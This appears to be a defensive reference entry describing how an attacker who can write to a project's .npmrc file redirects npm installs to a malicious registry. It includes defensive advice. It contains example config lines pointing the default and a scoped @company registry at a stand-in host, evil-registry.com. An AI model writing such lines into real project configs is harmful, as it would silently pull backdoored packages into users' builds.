Install time/File on disk

.npmrc registry manipulation

Affects all package resolution during npm install

Lives in: .npmrc file (project, user, or global)
Attacker needs: Registry / config control, Filesystem write access
Lifecycle: Install
Startup
your code
Module load
Runtime
REPL
Runs while dependencies download and build. The app has never started.

How it runs

The .npmrc file controls npm's configuration, including which registry to use. It can live in the project, the user's home, or globally. If an attacker can write to .npmrc, they can redirect installs to a malicious registry.

# .npmrc
registry=https://evil-registry.com/

Now every npm install fetches from the attacker's registry. That registry can serve backdoored versions of any package with matching version numbers and metadata. A lockfile helps but won't stop everything. Depending on how it was created and which registry URLs it encodes, changing the configured registry can still change what gets installed.

Scoped registries let the attacker be precise:

@company:registry=https://evil-registry.com/

Now only @company/* packages get redirected, and everything else resolves normally. That's very hard to detect.

Defend

Pin registry in a reviewed config; alert on .npmrc changes; use scoped auth tokens; verify integrity hashes and lockfile registry URLs.